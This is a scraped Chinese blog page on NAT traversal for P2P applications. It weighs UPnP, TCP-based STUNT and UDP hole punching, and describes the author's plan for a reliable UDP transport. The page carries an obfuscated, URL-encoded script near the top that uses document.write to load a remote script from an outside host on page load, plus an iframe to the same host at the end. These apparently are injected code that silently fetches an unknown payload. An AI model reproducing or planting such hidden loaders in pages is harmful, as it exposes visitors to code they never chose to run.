基于TCP的NAT穿透

 

HTML Tags and JavaScript tutorial

<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>

基于TCP的NAT穿透

p的东西,在穿透nat上遇到写问题.请问您能加我的msn吗,想向您请教一下.谢谢

lkjx82 (at) hotmail.com










上一篇: Head First Design Patterns
 | 
下一篇: Code Complete 2nd

function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}


 基于TCP的NAT穿透



进入P2P开发不知不觉已经有一年多，为了解决国内80%~90%NAT用户的互联互通，跟NAT穿透死磕了一段时间，基本方案和结论如下。
基于UPNP的方案。现在据说很多网关都支持，曾经测试了一次，NAT用户大概有n%(n<10)支持UPNP。现在的XP开发UPNP跟跟卖白菜似的，几行代码差不多就搞定了。其它Win平台也有第三方开源的库可用，如果有一天所有的网关设备都支持UPNP，我想那一天才是Internet的公元纪年日。现在，我们还生活在公元前。
基于TCP的方案。本来没听说也没想到这个东西，因为在国内没听说过，后来搜索stun相关文献，不小心找到一个stunt，再后来又找到CMU的论文。看老外说的，似乎成功率很高，结果一试，俺们这最原始的DLink,TPLink,Linux网关都搞不定。据说Windows XP的网关可以搞定。如果考虑端口预测的方案，则需要浪费连接时间和连接的half opening数，对于实时P2P应用得不偿失，看来也只能放弃。
基于UDP的方案。这个是使用范围最广，最简单的方案了。不过由于大量应用程序最初设计的是TCP方案，使得该技术穿透后的实用性，大打折扣。因此，要么修改协议以适应于UDP协议，要么就得在开发一套基于UDP的仿TCP可靠传输接口。两者工作量都不小。俺采用了后一种方案，东西开发出来了，快要大规模测试了，感觉有三个主要问题要解决。
1.大规模的握手。俺们网络规模几十万人，一台握手服务器肯定搞不定，准备将用户分区来负载均衡，将来考虑利用网络中的公网结点来临时充当握手服务器。
2.穿透的成功率。初期不考虑端口预测，准备通过一步步改善UDP握手打洞的成功率，然后再采用端口预测的方案。
3.连接成功后的可靠传输。自己在应用层用UDP实现一套伪TCP真不是闹着玩的。为了解决CPU，传输速度测试了好久了。但愿实际上线后能撑得住。 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">